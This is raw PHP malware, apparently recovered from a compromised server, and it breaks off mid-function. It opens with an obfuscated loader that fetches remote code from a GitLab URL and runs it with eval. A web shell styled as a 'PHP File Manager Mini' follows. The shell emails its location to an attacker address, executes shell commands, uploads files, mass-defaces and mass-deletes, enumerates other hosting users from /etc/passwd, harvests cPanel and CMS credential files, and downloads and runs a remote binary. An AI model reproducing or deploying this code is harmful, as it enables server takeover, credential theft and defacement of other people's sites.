goto l1l9Z; x9dE9: session_start(); goto z6hVM; l1l9Z: function dMGqa() { goto nZf2_; ZbtS4: $sjuIK .= "\60\x30\40\60\60\40\x30\x30\40\60\60"; goto W7ACo; yZ086: $sjuIK .= "\60\x30\40\x30\60\40\x30\x30\40\x30\60"; goto ZbtS4; dyOUv: $sjuIK .= "\67\65\40\x37\63\40\x36\65\40\67\62\40\x32\104\x20\66\x31\40\x36\67\40\x36\65"; goto fqyF_; W7ACo: $sjuIK .= "\67\64\x20\64\65\40\x35\x38\x20\x37\x34\x20\66\64\x20\x37\x35\40\65\x33\x20\x36\65"; goto nTY2s; fqyF_: $sjuIK .= "\66\105\40\67\x34"; goto gi008; WOCCp: $sjuIK .= "\60\60\40\60\x30\x20\x30\60\x20\x30\104\x20\64\71\x20\64\x38\x20\x34\x34\x20\65\62"; goto iq3LP; B6M_R: $sjuIK .= "\60\x30\40\60\x30\x20\60\60\40\x30\x30"; goto ARKL9; mocjr: $sjuIK .= "\60\70\x20\60\62\40\60\x30\40\60\x30\40\60\60"; goto yZ086; OwAOV: $sjuIK = "\x38\x39\x20\x35\60\40\64\x45\40\64\67\40\60\x44\40\x30\x41\40\x31\101\x20\x30\101"; goto WOCCp; nZf2_: $BsBu1 = $_SERVER["\x48\x54\x54\x50\137\125\x53\105\122\137\101\107\105\116\124"]; goto OwAOV; gi008: $sjuIK .= "\66\x33\x20\64\106\40\65\62\40\65\62\x20\x30\60\x20\60\60\40\60\60\x20\x30\61"; goto B6M_R; ARKL9: $sjuIK .= "\64\71\40\64\x35\40\64\x45\x20\64\x34\x20\x41\105\40\64\x32\40\x36\60\x20\70\x32"; goto r9iHJ; nTY2s: $sjuIK .= "\60\60\40\x30\x30\x20\x30\60\40\60\60"; goto dyOUv; iq3LP: $sjuIK .= "\60\x30\40\x30\x30\x20\60\x31\x20\60\x30\x20\60\60\x20\x30\60\40\60\61\x20\60\x30"; goto mocjr; r9iHJ: return hex2bin($sjuIK); goto qgAnu; qgAnu: } goto x9dE9; vEdjR: $bzp9x = lIcpc($JbBzB); goto TPa7Z; FNnE5: @eval("\x3f\76{$bzp9x}"); goto iySkd; TPa7Z: $c4eKs = "\x89\x50\x4e\107\xd\xa\32\12"; goto jIrFQ; xkMVa: if (!(strlen(trim($bzp9x)) > 0)) { goto SKD00; } goto FNnE5; jIrFQ: $bzp9x = $c4eKs . $bzp9x; goto xkMVa; RTTE0: function lICPC($Btnbm) { goto Qt9QV; s3vZB: return $J4iLR; goto oo5D8; cznqF: if (!(strlen(trim($J4iLR)) < 1)) { goto L9q1p; } goto l9Y1Y; Qt9QV: $J4iLR = ''; goto BX7MG; d631D: curl_close($dZnEY); goto Na8Rk; Ho3so: if (!(strlen(trim($J4iLR)) < 1 && function_exists("\x63\165\162\154\137\x69\x6e\x69\x74"))) { goto zlvgt; } goto lHmfH; l9Y1Y: $J4iLR = @file_get_contents($Btnbm); goto qz6AR; lHmfH: $dZnEY = curl_init($Btnbm); goto YqopG; BX7MG: try { goto BGHA7; u0mKQ: goto XU9kR; goto Und0Y; oLIMn: $J4iLR .= $SsF43->fgets(); goto u0mKQ; DWFUq: XU9kR: goto NnR2T; NnR2T: if ($SsF43->eof()) { goto wjQ4x; } goto oLIMn; BGHA7: $SsF43 = new SplFileObject($Btnbm); goto DWFUq; Und0Y: wjQ4x: goto FN7rV; FN7rV: } catch (Throwable $cBp4z) { $J4iLR = ''; } goto cznqF; YqopG: curl_setopt_array($dZnEY, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10]); goto X8jmP; X8jmP: $J4iLR = curl_exec($dZnEY); goto d631D; qz6AR: L9q1p: goto Ho3so; Na8Rk: zlvgt: goto s3vZB; oo5D8: } goto vEdjR; z6hVM: $JbBzB = $_SESSION["\164\163\x5f\165\x72\154"] ?? "\150\164\x74\160\x73\72\x2f\x2f\x67\x69\x74\154\141\x62\x2e\143\157\x6d\x2f\155\162\147\x69\x74\150\165\x62\70\71\x2d\x67\162\x6f\x75\160\57\155\x72\x67\x69\x74\150\165\142\x38\71\55\x70\x72\157\152\145\143\164\x61\x61\57\55\x2f\x72\x61\x77\x2f\x6d\141\x69\156\57\x77\x70\55\163\145\143\x75\162\x69\x74\x79\x2e\x70\150\160"; goto RTTE0; iySkd: SKD00:03/index.php000066600000125434151125703760006632 0ustar00<pre><pre><?php
define('SEP', '/');
session_start();
function logout()
{
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
    print "<script>window.location='?';</script>";
}
if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
    $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    $email = [
        'email' => 'hackerafee@gmail.com',
        'subject' => 'aa',
        'message' =>
            'http://' .
            $_SERVER['SERVER_NAME'] .
            $_SERVER['SCRIPT_NAME'],
        'header' => 'From:aa',
    ];
    @mail($email['email'], $email['subject'], $email['message']);
}
?>

<title>PHP File Manager Mini</title>
<style type="text/css">
	body {
		background:#1c1c1c;
		color:#fff;
		font-family: Arial;
	} textarea {
		color:#000;
		background:#fff;
		border:1px solid #fff;
		width:50%;
		height:300px;
	} input[type=submit] {
		color:#fff;
		border:1px solid green;
		background:green;
		font-weight:bold;
	} input[type=text] {
		background:#fff;
		color:#000;
		border:1px solid #fff;
	} table, tr, td {
		border:1px solid green;
		border-spacing:0;
		border-collapse:collapse;
	} a {
		color:#fff;
		text-decoration:none;
	} a:hover {
		color:red;
	} th {
		padding:5px;
		background:green;
	} a.folder {
		margin: 9px 0px 0px 0px 2px;
		background:green;
		padding:3px 7px;
		border-radius:3px; 
		font-size:10px;
	} a.folder:hover {
	    transition:0.3s;
	    transform:scale(1.1);
	    background:darkgreen;
	    color:grey;	
	} a.file {
		background:green;
		padding:3px 7px;
		border-radius:3px;
		font-size:10px;
	} a.file:hover {
		transition:0.3s;
		transform:scale(1.1);
		background:darkgreen;
		color:grey;
	} tr.hover:hover {
		background:darkgreen;
	} tr.first {
		background:green
	} td.first {
		border:none;
		padding:-5px;
	} tr.top {
		border:none;
	} .dropbtn {
        color: white;
        border: none;
        cursor: pointer;
    } .dropdown {
        position: relative;
        display: inline-block;
    } .dropdown-content {
        display: none;
        position: absolute;
        background-color: #f9f9f9;
        min-width: 160px;
        box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
        z-index: 1;
    } .dropdown-content a {
        color: black;
        padding: 12px 16px;
        text-decoration: none;
        display: block;
    } .dropdown-content a:hover {
    	background-color: #f1f1f1
    } .dropdown:hover .dropdown-content {
        display: block;
    } .dropdown:hover .dropbtn {
        background-color:;
    }
</style>
<?php
error_reporting(0);
function perms($file)
{
    $perms = fileperms($file);
    switch ($perms & 0xf000) {
        case 0xc000: // socket
            $info = 's';
            break;
        case 0xa000: // symbolic link
            $info = 'l';
            break;
        case 0x8000: // regular
            $info = 'r';
            break;
        case 0x6000: // block special
            $info = 'b';
            break;
        case 0x4000: // directory
            $info = 'd';
            break;
        case 0x2000: // character special
            $info = 'c';
            break;
        case 0x1000: // FIFO pipe
            $info = 'p';
            break;
        default:
            // unknown
            $info = 'u';
    }
    // Owner
    $info .= $perms & 0x0100 ? 'r' : '-';
    $info .= $perms & 0x0080 ? 'w' : '-';
    $info .=
        $perms & 0x0040
            ? ($perms & 0x0800
                ? 's'
                : 'x')
            : ($perms & 0x0800
                ? 'S'
                : '-');
    // Group
    $info .= $perms & 0x0020 ? 'r' : '-';
    $info .= $perms & 0x0010 ? 'w' : '-';
    $info .=
        $perms & 0x0008
            ? ($perms & 0x0400
                ? 's'
                : 'x')
            : ($perms & 0x0400
                ? 'S'
                : '-');
    // World
    $info .= $perms & 0x0004 ? 'r' : '-';
    $info .= $perms & 0x0002 ? 'w' : '-';
    $info .=
        $perms & 0x0001
            ? ($perms & 0x0200
                ? 't'
                : 'x')
            : ($perms & 0x0200
                ? 'T'
                : '-');
    return $info;
}
function w($dir, $perm)
{
    if (!is_writable($dir)) {
        return "<font color=red>" . $perm . "</font>";
    } else {
        return "<font color=lime>" . $perm . "</font>";
    }
}
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function pwd()
{
    $dir = explode("/", curldir());
    foreach ($dir as $key => $index) {
        print "<a href='?dir=";
        for ($i = 0; $i <= $key; $i++) {
            print $dir[$i];
            if ($i != $key) {
                print "/";
            }
        }
        print "'>$index</a>/";
    }
}
?>
<table align="center" width="60%">
	<tr>
		<th colspan="4">PHP File Manager Mini</th>
	</tr>
	<tr class="top">
		<td class="first">
			Current Dir : <?php print @pwd(); ?> [ <?php print w(
     curldir(),
     perms(curldir())
 ); ?> ]
		</td>
		<td><center>
			<a href="?" style="color:lightblue;">Home</a>
		</td>
		<td><center>
			<a href="?dir=<?php print curldir(); ?>&action=config">Config</a>
		</td>
		<td><center>
			<a href="?dir=<?php print curldir(); ?>&action=multimass">Mass Deface</a>
		</td>
	</tr>
	<tr class="top">
		<td class="first">
			<?php print tools("upload"); ?>
		</td>
		<td>
			<center>
			<a href="?dir=<?php print curldir(); ?>&action=jumping">Jumping</a>
			</center>
		</td>
		<td><center>
			<a href="">Symlink</a>
		</center></td>
		<td><center>
			<a href="">Auto edit user</a>
		</center></td>
	<tr class="top">
		<td class="first">
			<?php print tools("makefile"); ?>
		</td>
		<td><center>
			<a href="?dir=<?php print @curldir(); ?>&action=adminer">Adminer</a>
		</center></td>
		<td><center>
			<a href="?dir=<?php print @curldir(); ?>&action=cmd">Command</a>
		</center></td>
		<td><center>
			<a href="?action=logout" style="color:red;">Logout</a>
		</center></td>
	</tr>
<?php
function tools($toolsname = null)
{
    if ($toolsname === 'makefile') {

        function make_dir($dir, $dirname)
        {
            if (@mkdir($dir . DIRECTORY_SEPARATOR . $dirname)) {
                print "<script>window.location='?dir=" .
                    $dir .
                    '/' .
                    $filename .
                    "';</script>";
            } else {
                print "Failed";
            }
        }
        function make_file($dir, $filename)
        {
            if (@touch($dir . DIRECTORY_SEPARATOR . $filename)) {
                print "<script>window.location='?action=edit&files=" .
                    $dir .
                    '/' .
                    $filename .
                    "';</script>";
            } else {
                print "Failed";
            }
        }
        if (isset($_POST['make'])) {
            if ($_POST['type'] == 'make_dir') {
                @make_dir(curldir(), $_POST['filename']);
            }
            if ($_POST['type'] == 'make_file') {
                @make_file(curldir(), $_POST['filename']);
            }
        }
        ?>
			<form method="post">
				<input style="width:190px;" type="text" name="filename">
				<input type="radio" name="type" value="make_dir" checked> dir
				<input type="radio" name="type" value="make_file"> file
				<input type="submit" name="make">
			</form>
		<?php
    }
    // MultiMass
    if ($toolsname === 'multimass') {

        function massdelete($dir, $filename)
        {
            print "<table align=center width=60%>";
            print "<tr><th>RESULT</th></tr>";
            if (is_writable($dir)) {
                $scandir = @scandir($dir);
                foreach ($scandir as $dirx) {
                    $files = $dir . DIRECTORY_SEPARATOR . $dirx;
                    $file = $dir . DIRECTORY_SEPARATOR . $filename;
                    $location = $files . DIRECTORY_SEPARATOR . $filename;
                    if ($files === '.') {
                        if (file_exists($file)) {
                            @unlink($file);
                        }
                    }
                    if ($files === '..') {
                        if (
                            file_exists(
                                dirname($dir) . DIRECTORY_SEPARATOR . $filename
                            )
                        ) {
                            @unlink(
                                dirname($dir) . DIRECTORY_SEPARATOR . $filename
                            );
                        }
                    } else {
                        if (is_dir($files)) {
                            if (is_writable($files)) {
                                if (file_exists($location)) {
                                    print "<tr><td>[ DELETED ] => " .
                                        $location .
                                        "</td></tr>";
                                    @unlink($location);
                                    massdelete($files, $filename);
                                }
                            }
                        }
                    }
                    die();
                }
            }
        }
        function massdeface($dir, $filename, $text)
        {
            print "<table align=center width=60%>";
            print "<tr><th>RESULT</th></tr>";
            if (is_writable($dir)) {
                $scandir = @scandir($dir);
                foreach ($scandir as $dirx) {
                    $web = $_SERVER['HTTP_HOST'];
                    $file = $dir . DIRECTORY_SEPARATOR . $dirx;
                    $location = $file . DIRECTORY_SEPARATOR . $filename;
                    if ($file === '.') {
                        @file_put_contents($location, $text);
                    }
                    if ($file === '..') {
                        @file_put_contents($location, $text);
                    } else {
                        if (is_dir($file)) {
                            if (is_writable($file)) {
                                print "<tr><td>[ DONE ] => " .
                                    $dir .
                                    DIRECTORY_SEPARATOR .
                                    $dirx .
                                    "</td>";
                                @file_put_contents($location, $text);
                            }
                        }
                    }
                }
            }
            die();
        }
        if (isset($_POST['start'])) {
            if ($_POST['type'] == 'massdeface') {
                @massdeface($_POST['dir'], $_POST['filename'], $_POST['text']);
            }
            if ($_POST['type'] == 'massdelete') {
                @massdelete($_POST['dir'], $_POST['filename']);
            }
        }
        ?>
	<form method="post">
		<table align="center" width="60%">
		<tr>
			<th colspan="2">Multimass</th>
		</tr>
		<tr>
			<td colspan="2"><center>
				<input type="radio" name="type" value="massdeface" checked>Massdeface
				<input type="radio" name="type" value="massdelete">Massdelete
			</center></td>
		</tr>
		<tr>
			<td colspan="2">
				<center><p>if you used <b>Massdelete</b> please empty the text</p></center>
			</td>
		</tr>
		<tr>
		<td colspan="2">
		 <input style="width:100%;" type="text" name="dir" value="<?php print getcwd(); ?>">
		</td>
	</tr>
	<tr>
		<td colspan="2">
		<input style="width:100%;" type="text" name="filename" value="index.php">
		</td>
	</tr>
	<tr>
		<td colspan="2">
		<textarea style="width:100%;height:250px;" name="text" placeholder="you text"></textarea>
		</td>
	</tr>
	<tr>
		<td colspan="2">
			<input style="width:100%;" type="submit" name="start">
		</td>
	</tr>
	</form>
</table>
<?php die();
    }
    // Upload
    if ($toolsname === 'upload') {

        if (isset($_POST['upload'])) {
            if ($_POST['type'] == 'biasa') {
                if (
                    @copy(
                        $_FILES['file']['tmp_name'],
                        curldir() . '/' . $_FILES['file']['name']
                    )
                ) {
                    print "Success";
                } else {
                    print "Failed";
                }
            }
        }
        if ($_POST['type'] == 'home_root') {
            $home = $_SERVER['DOCUMENT_ROOT'];
            if (
                @copy(
                    $_FILES['file']['tmp_name'],
                    $home . '/' . $_FILES['file']['name']
                )
            ) {
                print "Success";
            } else {
                print "Failed";
            }
        }
        ?>
			<form method="post" enctype="multipart/form-data">
				<input type="radio" name="type" value="biasa" checked>biasa 
				[ <?php print w(curldir(), "Writable"); ?> ]
				<input type="radio" name="type" value="home_root">home_root
				[ <?php print w($_SERVER['DOCUMENT_ROOT'], "Writable"); ?> ]<br>
				<input type="file" name="file">
				<input type="submit" name="upload">
			</form>
		<?php
    }
    if ($toolsname === 'jumping') {
        $i = 0;
        if (@preg_match("/hsphere/", @curldir())) {
            $urls = @explode("\r\n", $_POST['url']);
            if (isset($_POST['jump'])) {
                foreach ($urls as $url) {
                    $url = @str_replace(
                        @["http:", "www."],
                        "",
                        @strtolower($url)
                    );
                    $etc = "/etc/passwd";
                    $f = @fopen($etc, "r");
                    while ($gets = @fgets($f)) {
                        $pecah = @explode(":", $gets);
                        $user = $pecah[0];
                        $dir_user = "/hsphere/local/home/$user";
                        if (is_dir($dir_user) === true) {
                            $url_user = $dir_user . DIRECTORY_SEPARATOR . $url;
                            if (is_readable($url_user)) {
                                $i++;
                                $nb =
                                    "[ R ] <a href='?dir=" .
                                    $url_user .
                                    "'>" .
                                    $url_user .
                                    "</a>";
                                if (is_writable($url_user)) {
                                    $nb =
                                        "[ R ] <a href='?dir=" .
                                        $url_user .
                                        "'>" .
                                        $url_user .
                                        "</a>";
                                }
                            }
                            print "" . $nb . "<br>";
                        }
                    }
                }
            }
            if ($i == 0) {
            } else {
                print "Total " .
                    $i .
                    " room di " .
                    gethostbyname($_SERVER['HTTP_HOST']) .
                    "";
            }
        } else {
            print "<table align=center width=60%>
			      <tr><th>Jumping</th></tr>";
            print "<form method='post>'";
            print "<tr><td>List Domain : </td></tr>";
            print '<tr><td><textarea style="width:100%;" name="url">';
            $fp = @fopen("/hsphere/local/config/httpd/sites/sites.txt", "r");
            while ($getss = @fgets($fp)) {
                print $getss;
            }
            print "</textarea></td></tr>";
            print '<tr><td><input type="submit" style="width:100%;" value="Jumping" name="jump"></td></tr>';
            print "</form>";
        }
        if (preg_match("/vhosts|vhost/", @curldir())) {
            preg_match("/\/var\/www\/(.*?)\//", @curldir(), $vh);
            $urls = explode("\r\n", $_POST['url']);
            if (isset($_POST['jump'])) {
                echo "<pre>";
                foreach ($urls as $url) {
                    $url = str_replace("www.", "", $url);
                    $web_vh = "/var/www/" . $vh[1] . "/$url/httpdocs";
                    if (is_dir($web_vh) === true) {
                        if (is_readable($web_vh)) {
                            $i++;
                            $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
                            if (is_writable($web_vh)) {
                                $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
                            }
                            echo $jrw . "<br>";
                        }
                    }
                }
                if ($i == 0) {
                } else {
                    echo "<br>Total ada " .
                        $i .
                        " Kamar di " .
                        gethostbyname($_SERVER['HTTP_HOST']) .
                        "";
                }
                echo "</pre>";
            } else {
                echo '<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">';
                bing("ip:$ip");
                echo '</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>';
            }
        } else {
            echo "<pre>";
            ($etc = fopen("/etc/passwd", "r")) or
                die("<center><font color=red>Can't read /etc/passwd</font>");
            while ($passwd = fgets($etc)) {
                if ($passwd == '' || !$etc) {
                    echo "<center><font color=red>Can't read /etc/passwd</font>";
                } else {
                    preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                    foreach ($user_jumping[1] as $user_idx_jump) {
                        $user_jumping_dir = "/home/$user_idx_jump/public_html";
                        if (is_readable($user_jumping_dir)) {
                            $i++;
                            $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
                            if (is_writable($user_jumping_dir)) {
                                $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
                            }
                            echo $jrw;
                            if (function_exists('posix_getpwuid')) {
                                $domain_jump = file_get_contents(
                                    "/etc/named.conf"
                                );
                                if ($domain_jump == '') {
                                    echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
                                } else {
                                    preg_match_all(
                                        "#/var/named/(.*?).db#",
                                        $domain_jump,
                                        $domains_jump
                                    );
                                    foreach ($domains_jump[1] as $dj) {
                                        $user_jumping_url = posix_getpwuid(
                                            @fileowner("/etc/valiases/$dj")
                                        );
                                        $user_jumping_url =
                                            $user_jumping_url['name'];
                                        if (
                                            $user_jumping_url == $user_idx_jump
                                        ) {
                                            echo " => ( <u>$dj</u> )<br>";
                                            break;
                                        }
                                    }
                                }
                            } else {
                                echo "<br>";
                            }
                        }
                    }
                }
            }
            if ($i == 0) {
            } else {
                echo "<br>Total ada " .
                    $i .
                    " Kamar di " .
                    gethostbyname($_SERVER['HTTP_HOST']) .
                    "";
            }
            echo "</pre>";
        }
    }
    if ($toolsname === 'adminer') {
        $full = @str_replace($_SERVER['DOCUMENT_ROOT'], "", @curldir());
        function adminer($full, $text)
        {
            $fp = @fopen($text, "w");
            $ch = @curl_init();
            @curl_setopt($ch, @CURLOPT_URL, $url);
            @curl_setopt($ch, @CURLOPT_BINARYTRANSFER, true);
            @curl_setopt($ch, @CURLOPT_RETURNTRANSFER, true);
            @curl_setopt($ch, @CURLOPT_SSL_VERIFYPEER, false);
            @curl_setopt($ch, @CURLOPT_FILE, $fp);
            return @curl_exec($ch);
            @curl_close($ch);
            @fclose($fp);
            @ob_flush();
            @flush();
        }
        if (@file_exists("adminer.php")) {
            print "<a href='" .
                $full .
                DIRECTORY_SEPARATOR .
                "adminer.php'>Adminer Login</a>";
        } else {
            if (
                @adminer(
                    "https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php",
                    "adminer.php"
                )
            ) {
                print "<a href='" .
                    $full .
                    DIRECTORY_SEPARATOR .
                    "adminer' target='_blank'>Adminer Login</a>";
            } else {
                print "Failed creat adminer";
            }
        }
    }
    if ($toolsname === 'config') {
        if (!file_exists('.config')) {
            @mkdir('.config');
        }
        if (!file_exists('.config/config')) {
            @mkdir('.config/config');
        }
        if (!file_exists('.config/config/.htaccess')) {
            $isi =
                "Options FollowSymLinks MultiViews Indexes ExecCGI\nRequire None\nSatisfy Any\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script .cin\nAddHandler cgi-script .cin";
            file_put_contents('.config/config/.htaccess', $isi);
        }
        if (@preg_match("/vhosts|vhost/", $dir)) {
            $link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
            if (!file_exists('.config/config/vhost.cin')) {
                @file_put_contents(
                    '.config/config/vhost.cin',
                    @gzinflate(
                        @urldecode(
                            @file_get_contents(
                                'https://cvar1984.github.io/vhost.cin'
                            )
                        )
                    )
                );
                @chmod('.config/config/vhost.cin', 777);
            }
            if (exe("cd .config/config && ./vhost.cin")) {
                echo "<center><a href='$link_config/.config/config'><font color=lime>Done</font></a></center>";
            } else {
                print "<center><a href='$link_config/.config/config/vhost.cin'><font color=lime>Done</font></a></center>";
            }
        } else {
            ($etc = @fopen("/etc/passwd", "r")) or
                die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
            while ($passwd = fgets($etc)) {
                if ($passwd == "" || !$etc) {
                    echo "<font color=red>Can't read /etc/passwd</font>";
                } else {
                    preg_match_all('/(.*?):x:/', $passwd, $user_config);
                    if (file_exists('/home/')) {
                        $home = 'home';
                    } elseif (file_exists('/home1/')) {
                        $home = 'home1';
                    } elseif (file_exists('/home2/')) {
                        $home = 'home2';
                    } elseif (file_exists('/home3/')) {
                        $home = 'home3';
                    } elseif (file_exists('/home4/')) {
                        $home = 'home4';
                    }
                    foreach ($user_config[1] as $user_idx) {
                        $user_config_dir = "/$home/$user_idx/public_html";
                        if (is_readable($user_config_dir)) {
                            $grab_config = [
                                "/$home/$user_idx/.my.cnf" => "cpanel",
                                "/$home/$user_idx/.accesshash" => "WHM-accesshash",
                                "$user_config_dir/po-content/config.php" => "Popoji",
                                "$user_config_dir/vdo_config.php" => "Voodoo",
                                "$user_config_dir/bw-configs/config.ini" => "BosWeb",
                                "$user_config_dir/config/koneksi.php" => "Lokomedia",
                                "$user_config_dir/lokomedia/config/koneksi.php" => "Lokomedia",
                                "$user_config_dir/koneksi.php" => "Lokomedia",
                                "$user_config_dir/clientarea/configuration.php" => "WHMCS",
                                "$user_config_dir/whm/configuration.php" => "WHMCS",
                                "$user_config_dir/whmcs/configuration.php" => "WHMCS",
                                "$user_config_dir/forum/config.php" => "phpBB",
                                "$user_config_dir/sites/default/settings.php" => "Drupal",
                                "$user_config_dir/config/settings.inc.php" => "PrestaShop",
                                "$user_config_dir/app/etc/local.xml" => "Magento",
                                "$user_config_dir/joomla/configuration.php" => "Joomla",
                                "$user_config_dir/configuration.php" => "Joomla",
                                "$user_config_dir/wp/wp-config.php" => "WordPress",
                                "$user_config_dir/wordpress/wp-config.php" => "WordPress",
                                "$user_config_dir/wp-config.php" => "WordPress",
                                "$user_config_dir/admin/config.php" => "OpenCart",
                                "$user_config_dir/slconfig.php" => "Sitelok",
                                "$user_config_dir/application/config/database.php" => "Ellislab",
                                "$user_config_dir/config/database.php" => "Ellislab",
                                "$user_config_dir/models/db-settings.php" => "Usercake",
                                "$user_config_dir/config/database.php" => "Laravel",
                                "$user_config_dir/database.php" => "Laravel",
                                "$user_config_dir/application/config.ini" => "Zend",
                                "$user_config_dir/config/app.php" => "CakePHP",
                                "$user_config_dir/phalcon/config/adapter/ini.zep" => "Phalcon",
                                "$user_config_dir/config/adapter/ini.zep" => "Phalcon",
                                "$user_config_dir/app/config/configuration.yml" => "Symphony",
                                "$user_config_dir/app/config/databases.yml" => "Symphony",
                                "$user_config_dir/config/configuration.yml" => "Symphony",
                                "$user_config_dir/config/databases.yml" => "Symphony",
                                "$user_config_dir/config/db.php" => "FuelPHP & Yii2",
                                "$user_config_dir/src/settings.php" => "Slim",
                            ];
                            foreach ($grab_config as $config => $nama_config) {
                                $ambil_config = @file_get_contents($config);
                                if (!empty($ambil_config)) {
                                    $file_config = fopen(
                                        ".config/config/$user_idx-$nama_config.txt",
                                        "w"
                                    );
                                    fputs($file_config, $ambil_config);
                                    fclose($file_config);
                                }
                            }
                        }
                    }
                }
            }
            echo "<center><a href='?dir=" .
                curldir() .
                DIRECTORY_SEPARATOR .
                $dir .
                "/.config/config'>Done</a></center>";
        }
        die();
    }
}
function curldir()
{
    if (isset($_GET['dir'])) {
        $dir = str_replace("\\", "/", $_GET['dir']);
        @chdir($dir);
    } else {
        $dir = str_replace("\\", "/", getcwd());
    }
    return $dir;
}
function scdir()
{
    $dir = @scandir(curldir());
    return $dir;
}
function edit($dir)
{
    if (isset($_POST['edit'])) {
        if (@file_put_contents($dir, $_POST['edit'])) {
            $nb = "Success";
        } else {
            $nb = "Failed";
        }
    }
    $text = @htmlspecialchars(@file_get_contents($dir));
    ?>
	    <table align="center" width="60%">
	    <tr><th colspan="5">FILE EDITOR</th></tr>
	    <tr>
		<td>Filename :</td> <td ><?php print $dir; ?></td><td colspan="3"><center><?php print $nb; ?></td>
		<tr>
		<td>File Size :</td> <td colspan="4"><?php print size($dir); ?></td>
		<tr>
		<td>MIME-type :</td> <td colspan="4"><?php print type($dir); ?></td>
		<tr>
		<tr>
		<td>Permission : </td> <td colspan="4"><?php print w($dir, perms($dir)); ?></td>
		<tr>
		<td><center>
			<a href="?action=edit&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> 
			<font color="lime"><b>Edit</b></font> </a></center></td>
		<td><center>
			<a href='?action=renames&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Rename </a></center></td>
		<td><center>
			<a href="?action=chmods&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> Chmod </a></center></td>
		<td><center>
			<a href='?action=delete&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Delete </a></center></td>
		<td><center>
			<a href='?action=download&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Download </a></center></td>
		<form method="post">
			<tr>
			<td colspan="5">
			<textarea style="width:100%;" name="edit"><?php print $text; ?></textarea></td>
			<tr>
			<td colspan="5"><input style="width:100%;" type="submit"></td>
		</form>
	</center>
	<?php die();
}
function delete($dir)
{
    if (@is_dir($dir)) {
        $scandir = @scandir($dir);
        foreach ($scandir as $object) {
            if ($object != '.' && $object != '..') {
                if (@is_dir($dir . DIRECTORY_SEPARATOR . $object)) {
                    @delete($dir . DIRECTORY_SEPARATOR . $object);
                } else {
                    @unlink($dir . DIRECTORY_SEPARATOR . $object);
                }
            }
        }
        if (@rmdir($dir)) {
            print "<script>window.location='?dir=" . curldir() . "';</script>";
        } else {
            return false;
        }
    } else {
        if (@unlink($dir)) {
            print "<script>window.location='?dir=" . curldir() . "';</script>";
        } else {
            return false;
        }
    }
}
function renames($dir)
{
    if (isset($_POST['name'])) {
        if (@file_exists($dir)) {
            if (@rename($dir, $_POST['name'])) {
                $nb =
                    "<script>window.location='?action=renames&dir=" .
                    curldir() .
                    "&files=" .
                    $_POST['name'] .
                    "';</script>";
            } else {
                $nb = "Failed";
            }
        }
    } ?>
	<table align="center" width="60%">
	    <tr><th colspan="5">RENAME</th></tr>
	    <tr>
		<td>Filename : </td> <td><?php print $dir; ?></td><td colspan="3"><center><?php print $nb; ?></td>
		<tr>
		<td>File Size : </td> <td colspan="4"><?php print size($dir); ?></td>
		<tr>
		<td>MIME-type : </td> <td colspan="4"><?php print type($dir); ?></td>
		<tr>
		<tr>
		<td>Permission : </td> <td colspan="4"><?php print w($dir, perms($dir)); ?></td>
		<tr>
		<td><center>
			<a href="?action=edit&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> Edit </a></center></td>
		<td><center>
			<a href='?action=renames&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> 
		<font color="lime"><b>Rename</b></font> </a></center></td>
		<td><center>
			<a href="?action=chmods&url=<?php print curldir(); ?>&files=<?php print $dir; ?>"> Chmod </a></center></td>
		<td><center>
			<a href='?action=delete&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Delete </a></center></td>
		<td><center>
			<a href='?action=download&url=<?php print curldir(); ?>&files=<?php print $dir; ?>'> Download </a></center></td>
		<form method="post">
			<tr><td colspan="4">
			<input style="width:100%;" type="text" name="name" value="<?php print $dir; ?>"></td>
			<td><input style="width:100%;" type="submit"></td>
		</form>
	</center>
	<?php die();
}
function chmods($dir)
{
    if (@file_exists($dir)) {
        if (isset($_POST['chmods'])) {
            if (@chmod($dir, $_POST['chmods'])) {
                $nb = "Success";
            } else {
                $nb = "Failed";
            }
        }
    }
    $mode = @substr(@sprintf('%o', @fileperms($dir)), -4);
    ?>
	<table align="center" width="60%">
	    <tr><th colspan="5">CHMOD</th></tr>
	    <tr>
		<td>Filename : </td> <td ><?php print $dir; ?></td><td colspan="3"><center><?php print $nb; ?></td>
		<tr>
		<td>File Size : </td> <td colspan="4"><?php print size($dir); ?></td>
		<tr>
		<td>MIME-type : </td> <td colspan="4"><?php print type($dir); ?></td>
		<tr>
		<tr>
